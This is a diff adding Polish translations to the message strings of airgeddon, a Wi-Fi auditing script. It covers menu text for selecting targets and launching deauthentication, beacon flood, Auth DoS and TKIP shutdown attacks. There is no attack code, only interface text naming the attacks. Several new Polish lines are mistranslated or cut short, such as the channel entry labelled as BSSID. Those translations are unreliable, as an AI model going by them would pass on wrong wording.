arr["POLISH",2]="${pending_of_translation} " + arr["POLISH",2]="${pending_of_translation} Język Polski O.S. wykryto. Obsługiwane przez skrypt. Automatycznie zmieniono" arr["ENGLISH",3]="Select target network :" arr["SPANISH",3]="Selecciona la red objetivo :" @@ -508,7 +508,7 @@ function language_strings() { arr["RUSSIAN",3]="Выбор целевой сети :" arr["GREEK",3]="Διαλέξτε δίκτυο :" arr["ITALIAN",3]="Scegliere una rete come obiettivo :" - arr["POLISH",3]="${pending_of_translation} " + arr["POLISH",3]="${pending_of_translation} Wybierz sieć docelową :" arr["ENGLISH",4]="Press [Enter] key to start attack..." arr["SPANISH",4]="Pulse la tecla [Enter] para comenzar el ataque..." @@ -518,7 +518,7 @@ function language_strings() { arr["RUSSIAN",4]="Нажмите клавишу [Enter] для начала атаки..." arr["GREEK",4]="Πατήστε [Enter] για να ξεκινήσει η επίθεση..." arr["ITALIAN",4]="Premere il tasto [Enter] per iniziare l'attacco..." - arr["POLISH",4]="${pending_of_translation} " + arr["POLISH",4]="${pending_of_translation} Naciśnij klawisz [Enter], aby rozpocząć atak..." arr["ENGLISH",5]="It looks like your internet connection is unstable. The script can't connect to repository. It will continue without updating..." arr["SPANISH",5]="Parece que tu conexión a internet no es estable. El script no puede conectar al repositorio. Continuará sin actualizarse..." @@ -528,7 +528,7 @@ function language_strings() { arr["RUSSIAN",5]="Интернет-подключение кажется нестабильным. Скрипт не может подключиться к репозиторию. Он продолжит без обновления..." arr["GREEK",5]="Φαίνεται πως η σύνδεση με το διαδίκτυο δεν είναι σταθερή. Το script δεν μπορεί να συνδεθεί στο αποθετήριο. Θα συνεχίσει χωρίς να έχει ενημερωθεί..." arr["ITALIAN",5]="Sembra che la connessione a internet non sia stabile. Lo script non riesce a connettersi al repository. Continuerà senza aggiornarsi..." - arr["POLISH",5]="${pending_of_translation} " + arr["POLISH",5]="${pending_of_translation} Wygląda na to, że połączenie internetowe nie jest stabilne. Skrypt nie może połączyć się z repozytorium. Będzie kontynuowane bez aktualizacji..." arr["ENGLISH",6]="Welcome to airgeddon script v${airgeddon_version}" arr["SPANISH",6]="Bienvenid@ a airgeddon script v${airgeddon_version}" @@ -538,7 +538,7 @@ function language_strings() { arr["RUSSIAN",6]="Добро пожаловать в скрипт airgeddon v${airgeddon_version}" arr["GREEK",6]="Καλωσήρθατε στο airgeddon v${airgeddon_version}" arr["ITALIAN",6]="Benvenuti a airgeddon script v${airgeddon_version}" - arr["POLISH",6]="${pending_of_translation} " + arr["POLISH",6]="${pending_of_translation} Witamy w skrypcie airgeddon v${airgeddon_version}" arr["ENGLISH",7]="This script is only for educational purposes. Be good boyz&girlz!" arr["SPANISH",7]="Este script se ha hecho sólo con fines educativos. Sed buen@s chic@s!" @@ -548,7 +548,7 @@ function language_strings() { arr["RUSSIAN",7]="Этот скрипт только для образовательных целей. Будьте хорошими мальчиками и девочками!" arr["GREEK",7]="Αυτό το script είναι για διδακτικούς σκοπούς. Να είστε φρόνιμοι!" arr["ITALIAN",7]="Questo script è stato fatto solo per scopi didattici. Fate i bravi!" - arr["POLISH",7]="${pending_of_translation} " + arr["POLISH",7]="${pending_of_translation} Ten skrypt został wykonany tylko do celów edukacyjnych. Zachowuj się dobrze!" arr["ENGLISH",8]="Known compatible distros with this script :" arr["SPANISH",8]="Distros conocidas compatibles con este script :" @@ -558,7 +558,7 @@ function language_strings() { arr["RUSSIAN",8]="Дистрибутивы о которых известно, что они совместимы со скриптом :" arr["GREEK",8]="Γνώστες εκδόσεις που υποστηρίζουν αυτό το script :" arr["ITALIAN",8]="Distribuzioni note compatibili con questo script :" - arr["POLISH",8]="${pending_of_translation} " + arr["POLISH",8]="${pending_of_translation} Znane distro kompatybilne z tym skryptem :" arr["ENGLISH",9]="Detecting system..." arr["SPANISH",9]="Detectando sistema..." @@ -568,7 +568,7 @@ function language_strings() { arr["RUSSIAN",9]="Определяем систему..." arr["GREEK",9]="Το σύστημα εντοπίζεται..." arr["ITALIAN",9]="Rilevando sistema..." - arr["POLISH",9]="${pending_of_translation} " + arr["POLISH",9]="${pending_of_translation} System wykrywania..." arr["ENGLISH",10]="This interface ${interface} is already in monitor mode" arr["SPANISH",10]="Esta interfaz ${interface} ya está en modo monitor" @@ -578,7 +578,7 @@ function language_strings() { arr["RUSSIAN",10]="Этот интерфейс ${interface} уже в режиме монитора" arr["GREEK",10]="Αυτή η διεπαφή ${interface} είναι ήδη σε κατάσταση παρακολούθησης" arr["ITALIAN",10]="Questa interfaccia ${interface} è già in modalità monitor" - arr["POLISH",10]="${pending_of_translation} " + arr["POLISH",10]="${pending_of_translation} Ten interfejs ${interface} jest już w trybie monitorowania" arr["ENGLISH",11]="Exiting airgeddon script v${airgeddon_version} - See you soon! :)" arr["SPANISH",11]="Saliendo de airgeddon script v${airgeddon_version} - Nos vemos pronto! :)" @@ -588,7 +588,7 @@ function language_strings() { arr["RUSSIAN",11]="Выход из скрипта airgeddon v${airgeddon_version} - До встречи! :)" arr["GREEK",11]="Κλείσιμο του airgeddon v${airgeddon_version} - Αντίο :)" arr["ITALIAN",11]="Abbandonando airgeddon script v${airgeddon_version} - A presto! :)" - arr["POLISH",11]="${pending_of_translation} " + arr["POLISH",11]="${pending_of_translation} Wyjście z skryptu airgeddon v${airgeddon_version} - Do zobaczenia wkrótce! :)" arr["ENGLISH",12]="${blue_color}Interruption detected. ${green_color}Do you really want to exit? ${normal_color}${visual_choice}" arr["SPANISH",12]="${blue_color}Detectada interrupción. ${green_color}¿Quieres realmente salir del script? ${normal_color}${visual_choice}" @@ -598,7 +598,7 @@ function language_strings() { arr["RUSSIAN",12]="${blue_color}Обнаружено прерывание. ${green_color}Вы действительно хотите выйти? ${normal_color}${visual_choice}" arr["GREEK",12]="${blue_color}Εντοπίστηκε διακοπή. ${green_color}Είστε σίγουροι ότι θέλετε να τερματίσετε το script; ${normal_color}${visual_choice}" arr["ITALIAN",12]="${blue_color}Rilevata interruzione. ${green_color}Vuoi davvero uscire dallo script? ${normal_color}${visual_choice}" - arr["POLISH",12]="${pending_of_translation} " + arr["POLISH",12]="${pending_of_translation} ${blue_color}Wykryto przerwanie. ${green_color}Czy naprawdę chcesz wyjść z scenariusza? ${normal_color}${visual_choice}" arr["ENGLISH",13]="This interface ${interface} is not a wifi card. It doesn't support monitor mode" arr["SPANISH",13]="Esta interfaz ${interface} no es una tarjeta wifi. No soporta modo monitor" @@ -608,7 +608,7 @@ function language_strings() { arr["RUSSIAN",13]="Этот интерфейс ${interface} не является wifi картой. Он не поддерживает режим монитора" arr["GREEK",13]="Αυτή η διεπαφή ${interface} δεν έιναι κάρτα wifi. Δεν υποστηρίζει κατάσταση παρακολούθησης" arr["ITALIAN",13]="Questa interfaccia ${interface} non è una scheda wifi. Non supporta la modalità del monitor" - arr["POLISH",13]="${pending_of_translation} " + arr["POLISH",13]="${pending_of_translation} Interfejs ${interface} nie jest kartą wifi. Nie obsługuje trybu monitora" arr["ENGLISH",14]="This interface ${interface} is not in monitor mode" arr["SPANISH",14]="Esta interfaz ${interface} no está en modo monitor" @@ -618,7 +618,7 @@ function language_strings() { arr["RUSSIAN",14]="Этот интерфейс ${interface} не в режиме монитора" arr["GREEK",14]="Αυτή η διεπαφή ${interface} δεν είναι σε κατάσταση παρακολούθησης" arr["ITALIAN",14]="Questa interfaccia ${interface} non è in modalità monitor" - arr["POLISH",14]="${pending_of_translation} " + arr["POLISH",14]="${pending_of_translation} Ten interfejs ${interface} nie jest w trybie monitorowania" arr["ENGLISH",15]="The interface changed its name while putting in managed mode. Autoselected" arr["SPANISH",15]="Esta interfaz ha cambiado su nombre al ponerse en modo managed. Se ha seleccionado automáticamente" @@ -628,7 +628,7 @@ function language_strings() { arr["RUSSIAN",15]="Интерфейс изменил имя во время перевода в управляемый режим. Выбран автоматически" arr["GREEK",15]="Η διεπάφη άλλαξε όνομα καθώς ήταν σε ετερόκλητη κατάσταση. Επιλέχθηκε αυτόματα" arr["ITALIAN",15]="Questa interfaccia ha cambiato il suo nome passando in modalità managed. È stata selezionata automaticamente" - arr["POLISH",15]="${pending_of_translation} " + arr["POLISH",15]="${pending_of_translation} Interfejs ten zmienił nazwę, gdy jest umieszczony w trybie zarządzania. Automatycznie zaznaczone" arr["ENGLISH",16]="Managed mode now is set on ${interface}" arr["SPANISH",16]="Se ha puesto el modo managed en ${interface}" @@ -638,7 +638,7 @@ function language_strings() { arr["RUSSIAN",16]="Управляемый режим теперь установлен на ${interface}" arr["GREEK",16]="Η διεπαφή ${interface} είναι τώρα σε ετερόκλητη κατάσταση" arr["ITALIAN",16]="${interface} è stata configurata in modalitá managed" - arr["POLISH",16]="${pending_of_translation} " + arr["POLISH",16]="${pending_of_translation} Tryb zarządzany został ustawiony na ${interface}" arr["ENGLISH",17]="Putting your interface in managed mode..." arr["SPANISH",17]="Poniendo la interfaz en modo managed..." @@ -648,7 +648,7 @@ function language_strings() { arr["RUSSIAN",17]="Переводим ваш интерфейс в управляемый режим..." arr["GREEK",17]="Ενεργοποιείται η ετερόκλητη κατάσταση στην διεπαφή..." arr["ITALIAN",17]="Mettendo l'interfaccia in modalità managed..." - arr["POLISH",17]="${pending_of_translation} " + arr["POLISH",17]="${pending_of_translation} Umieszczanie interfejsu w trybie zarządzania..." arr["ENGLISH",18]="Putting your interface in monitor mode..." arr["SPANISH",18]="Poniendo la interfaz en modo monitor..." @@ -658,7 +658,7 @@ function language_strings() { arr["RUSSIAN",18]="Переводим ваш интерфейс в режим монитора..." arr["GREEK",18]="Ενεργοποιείται η κατάσταση παρακολούθησης στην διεπαφή..." arr["ITALIAN",18]="Mettendo l'interfaccia modalità monitor..." - arr["POLISH",18]="${pending_of_translation} " + arr["POLISH",18]="${pending_of_translation} Ustawianie interfejsu w trybie monitorowania..." arr["ENGLISH",19]="Please be patient. Maybe killing some conflicting processes..." arr["SPANISH",19]="Por favor ten paciencia. Puede que esté matando algunos procesos que podrían causar conflicto..." @@ -668,7 +668,7 @@ function language_strings() { arr["RUSSIAN",19]="Пожалуйста, подождите. Возможно завершение некоторых конфликтующих процессов..." arr["GREEK",19]="Παρακαλώ δείξτε υπομονή. Ίσως τερματίζουν κάποιες εμπλέκουσες διεργασίες..." arr["ITALIAN",19]="Si prega di essere pazienti. Puó eessre che si stiano terminando alcuni processi che potrebbero causare un conflitto..." - arr["POLISH",19]="${pending_of_translation} " + arr["POLISH",19]="${pending_of_translation} Proszę, bądź cierpliwy. Może zabijać niektóre procesy, które mogłyby powodować konflikty..." arr["ENGLISH",20]="This interface ${interface} doesn't support monitor mode" arr["SPANISH",20]="Esta interfaz ${interface} no soporta modo monitor" @@ -678,7 +678,7 @@ function language_strings() { arr["RUSSIAN",20]="Этот интерфейс ${interface} не поддерживает режим монитора" arr["GREEK",20]="Αυτή η διεπαφή ${interface} δεν υποστηρίζει κατάσταση παρακολούθησης" arr["ITALIAN",20]="Questa interfaccia ${interface} non supporta la modalità monitor" - arr["POLISH",20]="${pending_of_translation} " + arr["POLISH",20]="${pending_of_translation} Interfejs ${interface} nie obsługuje trybu monitorowania" arr["ENGLISH",21]="The interface changed its name while putting in monitor mode. Autoselected" arr["SPANISH",21]="Esta interfaz ha cambiado su nombre al ponerla en modo monitor. Se ha seleccionado automáticamente" @@ -688,7 +688,7 @@ function language_strings() { arr["RUSSIAN",21]="Этот интерфейс изменил своё имя во время перевода в режим монитора. Выбран автоматически" arr["GREEK",21]="Η διεπαφή άλλαξε όνομα καθώς ήταν σε κατάσταση παρακολούθησης" arr["ITALIAN",21]="Questa interfaccia ha cambiato il suo nome passando in modalità monitor. È stata selezionata automaticamente" - arr["POLISH",21]="${pending_of_translation} " + arr["POLISH",21]="${pending_of_translation} Ten interfejs zmienił nazwę po umieszczeniu go w trybie monitora. Automatycznie zaznaczone" arr["ENGLISH",22]="Monitor mode now is set on ${interface}" arr["SPANISH",22]="Se ha puesto el modo monitor en ${interface}" @@ -698,7 +698,7 @@ function language_strings() { arr["RUSSIAN",22]="Режим монитора установлен на ${interface}" arr["GREEK",22]="Η διεπαφή ${interface} είναι τώρα σε κατάσταση παρακολούθησης" arr["ITALIAN",22]="È stato impostato il modo monitor in ${interface}" - arr["POLISH",22]="${pending_of_translation} " + arr["POLISH",22]="${pending_of_translation} Tryb monitora został ustawiony na ${interface}" arr["ENGLISH",23]="There is a problem with the interface selected. Redirecting you to script exit" arr["SPANISH",23]="Hay un problema con la interfaz seleccionada. Redirigiendo a la salida del script" @@ -708,7 +708,7 @@ function language_strings() { arr["RUSSIAN",23]="Проблема с выбранным интерфейсом. Перенаправляем вас к выходу из скрипта" arr["GREEK",23]="Υπάρχει πρόβλημε με την επιλεγμένη διεπαφή. Θα καθοδηγηθείτε στην έξοδο του script" arr["ITALIAN",23]="C'è un problema con l'interfaccia selezionata. Reindirizzando l'output dello script" - arr["POLISH",23]="${pending_of_translation} " + arr["POLISH",23]="${pending_of_translation} Wystąpił problem z wybranym interfejsem. Przekierowanie do wyjścia skryptu" arr["ENGLISH",24]="Select an interface to work with :" arr["SPANISH",24]="Selecciona una interfaz para trabajar con ella :" @@ -718,7 +718,7 @@ function language_strings() { arr["RUSSIAN",24]="Выберите интерфейс для работы :" arr["GREEK",24]="Επιλέξτε διεπαφή :" arr["ITALIAN",24]="Seleziona un'interfaccia con cui lavorare :" - arr["POLISH",24]="${pending_of_translation} " + arr["POLISH",24]="${pending_of_translation} Wybierz interfejs do pracy z :" arr["ENGLISH",25]="Set channel (1-14) :" arr["SPANISH",25]="Selecciona un canal (1-14) :" @@ -728,7 +728,7 @@ function language_strings() { arr["RUSSIAN",25]="Установите канал (1-14) :" arr["GREEK",25]="Θέστε κανάλι (1-14) :" arr["ITALIAN",25]="Seleziona un canale (1-14) :" - arr["POLISH",25]="${pending_of_translation} " + arr["POLISH",25]="${pending_of_translation} Wybierz kanał (1-14) :" arr["ENGLISH",26]="Channel set to ${normal_color}${channel}" arr["SPANISH",26]="Canal elegido ${normal_color}${channel}" @@ -738,7 +738,7 @@ function language_strings() { arr["RUSSIAN",26]="Канал установлен на ${normal_color}${channel}" arr["GREEK",26]="Το κανάλι ${normal_color}${channel}${blue_color} έχει επιλεχθεί" arr["ITALIAN",26]="Canale selezionato ${normal_color}${channel}" - arr["POLISH",26]="${pending_of_translation} " + arr["POLISH",26]="${pending_of_translation} Wybrany kanał ${normal_color}${channel}" arr["ENGLISH",27]="Type target BSSID (example: 00:11:22:33:44:55) :" arr["SPANISH",27]="Escribe el BSSID objetivo (ejemplo: 00:11:22:33:44:55) :" @@ -748,7 +748,7 @@ function language_strings() { arr["RUSSIAN",27]="Введите BSSID цели (пример: 00:11:22:33:44:55) :" arr["GREEK",27]="Πληκτρολογήστε BSSID στόχου (παράδειγμα: 00:11:22:33:44:55) :" arr["ITALIAN",27]="Scrivere l'BSSID obiettivo (es: 00:11:22:33:44:55) :" - arr["POLISH",27]="${pending_of_translation} " + arr["POLISH",27]="${pending_of_translation} Wpisz docelowy BSSID (przykład: 00:11:22:33:44:55) :" arr["ENGLISH",28]="BSSID set to ${normal_color}${bssid}" arr["SPANISH",28]="BSSID elegido ${normal_color}${bssid}" @@ -758,7 +758,7 @@ function language_strings() { arr["RUSSIAN",28]="BSSID установлена на ${normal_color}${bssid}" arr["GREEK",28]="Το BSSID τέθηκε σε ${normal_color}${bssid}" arr["ITALIAN",28]="BSSID selezionato ${normal_color}${bssid}" - arr["POLISH",28]="${pending_of_translation} " + arr["POLISH",28]="${pending_of_translation} BSSID wybrano ${normal_color}${bssid}" arr["ENGLISH",29]="Type target ESSID :" arr["SPANISH",29]="Escribe el ESSID objetivo :" @@ -768,7 +768,7 @@ function language_strings() { arr["RUSSIAN",29]="Введите BSSID цели :" arr["GREEK",29]="Πληκτρολογήστε ESSID στόχου :" arr["ITALIAN",29]="Scrivere l'ESSID obiettivo :" - arr["POLISH",29]="${pending_of_translation} " + arr["POLISH",29]="${pending_of_translation} Napisz cel ESSID :" arr["ENGLISH",30]="You have selected a hidden network ESSID. Can't be used. Select another one or perform a BSSID based attack instead of this" arr["SPANISH",30]="Has seleccionado un ESSID de red oculta. No se puede usar. Selecciona otro o ejecuta un ataque basado en BSSID en lugar de este" @@ -778,7 +778,7 @@ function language_strings() { arr["RUSSIAN",30]="Вы выбрали сеть со скрытым ESSID. Использование невозможно. Выберите другую или вместо этой выполните атаку, основанную на BSSID" arr["GREEK",30]="Επιλέξατε ESSID κρυφού δικτύου. Δεν μπορεί να χρησιμοποιηθεί. Επιλέξτε κάποιο άλλο ή ξεκινήστε μία επίθεση βασισμένη στο BSSID αντί αυτού" arr["ITALIAN",30]="È stata selezionata una rete ESSID nascosta. Non puó essere utilizzata. Selezionare un altro o eseguire un attacco basato in BSSID invece di questo" - arr["POLISH",30]="${pending_of_translation} " + arr["POLISH",30]="${pending_of_translation} Wybrałeś ukrytą sieć ESSID. Nie można jej używać. Wybierz inny lub uruchom atak oparty na BSSID zamiast tego" arr["ENGLISH",31]="ESSID set to ${normal_color}${essid}" arr["SPANISH",31]="ESSID elegido ${normal_color}${essid}" @@ -788,7 +788,7 @@ function language_strings() { arr["RUSSIAN",31]="ESSID установлена на ${normal_color}${essid}" arr["GREEK",31]="Το ESSID τέθηκε σε ${normal_color}${essid}" arr["ITALIAN",31]="ESSID selezionato ${normal_color}${essid}" - arr["POLISH",31]="${pending_of_translation} " + arr["POLISH",31]="${pending_of_translation} ESSID wybrano ${normal_color}${essid}" arr["ENGLISH",32]="All parameters set" arr["SPANISH",32]="Todos los parámetros están listos" @@ -798,7 +798,7 @@ function language_strings() { arr["RUSSIAN",32]="Все параметры установлены" arr["GREEK",32]="Έχουν τεθεί όλοι οι παράμετροι" arr["ITALIAN",32]="Tutti i parametri sono pronti" - arr["POLISH",32]="${pending_of_translation} " + arr["POLISH",32]="${pending_of_translation} Wszystkie parametry są gotowe" arr["ENGLISH",33]="Starting attack. When started, press [Ctrl+C] to stop..." arr["SPANISH",33]="Comenzando ataque. Una vez empezado, pulse [Ctrl+C] para pararlo..." @@ -808,7 +808,7 @@ function language_strings() { arr["RUSSIAN",33]="Атака запускается. Нажмите [Ctrl+C] для остановки..." arr["GREEK",33]="Έναρξη επίθεσης. Όταν ξεκινήσει, πατήστε [Ctrl+C] για να σταματήσει..." arr["ITALIAN",33]="Cominciando l'attacco. Una volta avviato, premere [Ctrl+C] per fermare..." - arr["POLISH",33]="${pending_of_translation} " + arr["POLISH",33]="${pending_of_translation} Uruchomienie ataku. Po rozpoczęciu naciśnij [Ctrl+C], aby go zatrzymać..." arr["ENGLISH",34]="Selected interface ${interface} is in monitor mode. Attack can be performed" arr["SPANISH",34]="La interfaz seleccionada ${interface} está en modo monitor. El ataque se puede realizar" @@ -818,7 +818,7 @@ function language_strings() { arr["RUSSIAN",34]="Выбранный интерфейс ${interface} в режиме монитора. Можно выполнить атаку" arr["GREEK",34]="Η επιλεγμένη διεπαφή ${interface} είναι σε κατάσταση παρακολούθησης. Μπορεί να γίνει επίθεση" arr["ITALIAN",34]="L'interfaccia selezionata ${interface} è in modalità monitor. L'attacco può essere eseguito" - arr["POLISH",34]="${pending_of_translation} " + arr["POLISH",34]="${pending_of_translation} Wybrany interfejs ${interface} jest w trybie monitorowania. Atak można wykonać" arr["ENGLISH",35]="Deauthentication / Dissasociation mdk3 attack chosen (monitor mode needed)" arr["SPANISH",35]="Elegido ataque de Desautenticación / Desasociación mdk3 (modo monitor requerido)" @@ -828,7 +828,7 @@ function language_strings() { arr["RUSSIAN",35]="Выбрана mdk3 атака Деаутентификации / Разъединения (необходим режим монитора)" arr["GREEK",35]="Deauthentication / Έχει επιλεχθεί επίθεση dissasociation mdk3 (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",35]="Attacco Deauth / Disassociation mdk3 scelto (modalità monitor richiesta)" - arr["POLISH",35]="${pending_of_translation} " + arr["POLISH",35]="${pending_of_translation} Wybrany atak Deauthentication / Disassociation mdk3 (wymagany tryb monitorowania)" arr["ENGLISH",36]="Deauthentication aireplay attack chosen (monitor mode needed)" arr["SPANISH",36]="Elegido ataque de Desautenticación aireplay (modo monitor requerido)" @@ -838,7 +838,7 @@ function language_strings() { arr["RUSSIAN",36]="Выбрана aireplay атака Деаутентификации (необходим режим монитора)" arr["GREEK",36]="Έχει επιλεχθεί επίθεση deauthentication aireplay (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",36]="Attacco Deauth aireplay scelto (modalità monitor richiesta)" - arr["POLISH",36]="${pending_of_translation} " + arr["POLISH",36]="${pending_of_translation} Wybrany atak Deauthentication aireplay (wymagany tryb monitora)" arr["ENGLISH",37]="WIDS / WIPS / WDS Confusion attack chosen (monitor mode needed)" arr["SPANISH",37]="Elegido ataque Confusion WIDS / WIPS / WDS (modo monitor requerido)" @@ -848,7 +848,7 @@ function language_strings() { arr["RUSSIAN",37]="Выбрана атака запутывания WIDS / WIPS / WDS (необходим режим монитора)" arr["GREEK",37]="Έχει επιλεχθεί επίθεση σύγχυσης WIDS / WIPS / WDS (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",37]="Attacco Confusion / WIDS / WIPS / WDS scelto (modalità monitor richiesta)" - arr["POLISH",37]="${pending_of_translation} " + arr["POLISH",37]="${pending_of_translation} Wybrane ataki typu WIDS / WIPS / WDS Confusion (wymagany tryb monitora)" arr["ENGLISH",38]="Beacon flood attack chosen (monitor mode needed)" arr["SPANISH",38]="Elegido ataque Beacon flood (modo monitor requerido)" @@ -858,7 +858,7 @@ function language_strings() { arr["RUSSIAN",38]="Выбрана атака флуда маяками (необходим режим монитора)" arr["GREEK",38]="Έχει επιλεχθεί επίθεση πλημμύρας φάρου (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",38]="Attacco Beacon flood scelto (modalità monitor richiesta)" - arr["POLISH",38]="${pending_of_translation} " + arr["POLISH",38]="${pending_of_translation} Wybrany atak Beacon flood (wymagany tryb monitora)" arr["ENGLISH",39]="Auth DoS attack chosen (monitor mode needed)" arr["SPANISH",39]="Elegido ataque Auth DoS (modo monitor requerido)" @@ -868,7 +868,7 @@ function language_strings() { arr["RUSSIAN",39]="Выбрана атака Auth DoS (необходим режим монитора)" arr["GREEK",39]="Έχει επιλεχθεί επίθεση Auth DoS (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",39]="Attacco DoS Auth scelto (modalità monitor richiesta)" - arr["POLISH",39]="${pending_of_translation} " + arr["POLISH",39]="${pending_of_translation} Wybrany atak DoS Auth (wymagany tryb monitora)" arr["ENGLISH",40]="Michael Shutdown (TKIP) attack chosen (monitor mode needed)" arr["SPANISH",40]="Elegido ataque Michael Shutdown (TKIP) (modo monitor requerido)" @@ -878,7 +878,7 @@ function language_strings() { arr["RUSSIAN",40]="Выбрана атака Michael Shutdown (TKIP) (необходим режим монитора)" arr["GREEK",40]="Έχει επιλεχθεί επίθεση Michael Shutdown (TKIP) (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",40]="Attacco Michael Shutdown (TKIP) scelto (modalità monitor richiesta)" - arr["POLISH",40]="${pending_of_translation} " + arr["POLISH",40]="${pending_of_translation} Wybrany Michael Shutdown attack (TKIP) (wymagany tryb monitorowania)" arr["ENGLISH",41]="No interface selected. You'll be redirected to select one" arr["SPANISH",41]="No hay interfaz seleccionada. Serás redirigido para seleccionar una" @@ -888,7 +888,7 @@ function language_strings() { arr["RUSSIAN",41]="Интерфейс не выбран. Вы будете перенаправлены на выбор интерфейса" arr["GREEK",41]="Δεν έχει επιλεχθεί κάποια διεπαφή. Θα καθοδηγηθείτε για να επιλέξετε μία" arr["ITALIAN",41]="Nessuna interfaccia selezionata. Sarai reindirizzato per selezionarne una" - arr["POLISH",41]="${pending_of_translation} " + arr["POLISH",41]="${pending_of_translation} Nie wybrano interfejsu. Zostaniesz przekierowany, aby wybrać a" arr["ENGLISH",42]="Interface ${pink_color}${interface}${blue_color} selected. Mode: ${pink_color}${ifacemode}${normal_color}" arr["SPANISH",42]="Interfaz ${pink_color}${interface}${blue_color} seleccionada. Modo: ${pink_color}${ifacemode}${normal_color}" @@ -898,7 +898,7 @@ function language_strings() { arr["RUSSIAN",42]="Интерфейс ${pink_color}${interface}${blue_color} выбран. Режим: ${pink_color}${ifacemode}${normal_color}" arr["GREEK",42]="Η διεπαφή ${pink_color}${interface}${blue_color} έχει επιλεχθεί. Κατάσταση: ${pink_color}${ifacemode}${normal_color}" arr["ITALIAN",42]="Interfaccia ${pink_color}${interface}${blue_color} selezionata. Modalità: ${pink_color}${ifacemode}${normal_color}" - arr["POLISH",42]="${pending_of_translation} " + arr["POLISH",42]="${pending_of_translation} Interfejs ${pink_color}${interface}${blue_color} został wybrany. Tryb: ${pink_color}${ifacemode}${normal_color}" arr["ENGLISH",43]="Selected BSSID: ${pink_color}${bssid}${normal_color}" arr["SPANISH",43]="BSSID seleccionado: ${pink_color}${bssid}${normal_color}" @@ -918,7 +918,7 @@ function language_strings() { arr["RUSSIAN",44]="Выбранный канал: ${pink_color}${channel}${normal_color}" arr["GREEK",44]="Επιλεγμένο κανάλι: ${pink_color}${channel}${normal_color}" arr["ITALIAN",44]="Canale selezionato: ${pink_color}${channel}${normal_color}" - arr["POLISH",44]="${pending_of_translation} " + arr["POLISH",44]="${pending_of_translation} Wybrano BSSID: ${pink_color}${channel}${normal_color}" arr["ENGLISH",45]="Selected ESSID: ${pink_color}${essid}${blue_color} <- can't be used" arr["SPANISH",45]="ESSID seleccionado: ${pink_color}${essid}${blue_color} <- no se puede usar" @@ -928,7 +928,7 @@ function language_strings() { arr["RUSSIAN",45]="Выбранный ESSID: ${pink_color}${essid}${blue_color} <- не может быть использован" arr["GREEK",45]="Επιλεγμένο ESSID: ${pink_color}${essid}${blue_color} <- δεν μπορεί να χρησιμοποιηθεί" arr["ITALIAN",45]="ESSID selezionato: ${pink_color}${essid}${blue_color} <- non può essere utilizzato" - arr["POLISH",45]="${pending_of_translation} " + arr["POLISH",45]="${pending_of_translation} Wybrano ESSID: ${pink_color}${essid}${blue_color} <- nie można używać" arr["ENGLISH",46]="Selected ESSID: ${pink_color}${essid}${normal_color}" arr["SPANISH",46]="ESSID seleccionado: ${pink_color}${essid}${normal_color}" @@ -938,7 +938,7 @@ function language_strings() { arr["RUSSIAN",46]="Выбранный ESSID: ${pink_color}${essid}${normal_color}" arr["GREEK",46]="Επιλεγμένο ESSID: ${pink_color}${essid}${normal_color}" arr["ITALIAN",46]="ESSID selezionato: ${pink_color}${essid}${normal_color}" - arr["POLISH",46]="${pending_of_translation} " + arr["POLISH",46]="${pending_of_translation} Wybrano ESSID: ${pink_color}${essid}${normal_color}" arr["ENGLISH",47]="Select an option from menu :" arr["SPANISH",47]="Selecciona una opción del menú :" @@ -948,7 +948,7 @@ function language_strings() { arr["RUSSIAN",47]="Выбор опции из меню :" arr["GREEK",47]="Επιλέξτε μία επιλογή από το μενού :" arr["ITALIAN",47]="Selezionare un'opzione del menú :" - arr["POLISH",47]="${pending_of_translation} " + arr["POLISH",47]="${pending_of_translation} Wybierz z menu opcję :" arr["ENGLISH",48]="1. Select another network interface" arr["SPANISH",48]="1. Selecciona otra interfaz de red" @@ -958,7 +958,7 @@ function language_strings() { arr["RUSSIAN",48]="1. Выбрать другой сетевой интерфейс" arr["GREEK",48]="1. Επιλογή διαφορετικής διεπαφής" arr["ITALIAN",48]="1. Selezionare un'altra interfaccia di rete" - arr["POLISH",48]="${pending_of_translation} " + arr["POLISH",48]="${pending_of_translation} 1. Wybierz inny interfejs sieciowy" arr["ENGLISH",49]="4. Explore for targets (monitor mode needed)" arr["SPANISH",49]="4. Explorar para buscar objetivos (modo monitor requerido)" @@ -968,7 +968,7 @@ function language_strings() { arr["RUSSIAN",49]="4. Поиск целей (необходим режим монитора)" arr["GREEK",49]="4. Εξερεύνηση στόχων (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",49]="4. Esplora per cercare obiettivi (modalità monitor richiesta)" - arr["POLISH",49]="${pending_of_translation} " + arr["POLISH",49]="${pending_of_translation} 4. Skanowanie, aby znaleźć cele (wymagany tryb monitorowania)" arr["ENGLISH",50]="monitor mode needed for attacks" arr["SPANISH",50]="modo monitor requerido en ataques" @@ -978,7 +978,7 @@ function language_strings() { arr["RUSSIAN",50]="для атак необходим режим монитора" arr["GREEK",50]="χρειάζεται η κατάσταση παρακολούθησης για τις επιθέσεις" arr["ITALIAN",50]="Modalità monitor richiesta per gli attacchi" - arr["POLISH",50]="${pending_of_translation} " + arr["POLISH",50]="${pending_of_translation} wymagany tryb monitorowania" arr["ENGLISH",51]="5. Deauth / disassoc amok mdk3 attack" arr["SPANISH",51]="5. Ataque Deauth / Disassoc amok mdk3" @@ -988,7 +988,7 @@ function language_strings() { arr["RUSSIAN",51]="5. Атака деаутентификации / разъединения amok mdk3" arr["GREEK",51]="5. Επίθεση Deauth / Disassoc amok mdk3" arr["ITALIAN",51]="5. Attacco Deauth / Disassoc amok mdk3" - arr["POLISH",51]="${pending_of_translation} " + arr["POLISH",51]="${pending_of_translation} 5. Atak Deauth / Disassoc amok mdk3" arr["ENGLISH",52]="6. Deauth aireplay attack" arr["SPANISH",52]="6. Ataque Deauth aireplay" @@ -998,7 +998,7 @@ function language_strings() { arr["RUSSIAN",52]="6. Атака деаутентификации aireplay" arr["GREEK",52]="6. Επίθεση Deauth aireplay" arr["ITALIAN",52]="6. Attacco Deauth aireplay" - arr["POLISH",52]="${pending_of_translation} " + arr["POLISH",52]="${pending_of_translation} 6. Atak Deauth aireplay" arr["ENGLISH",53]="7. WIDS / WIPS / WDS Confusion attack" arr["SPANISH",53]="7. Ataque WIDS / WIPS / WDS Confusion" @@ -1008,7 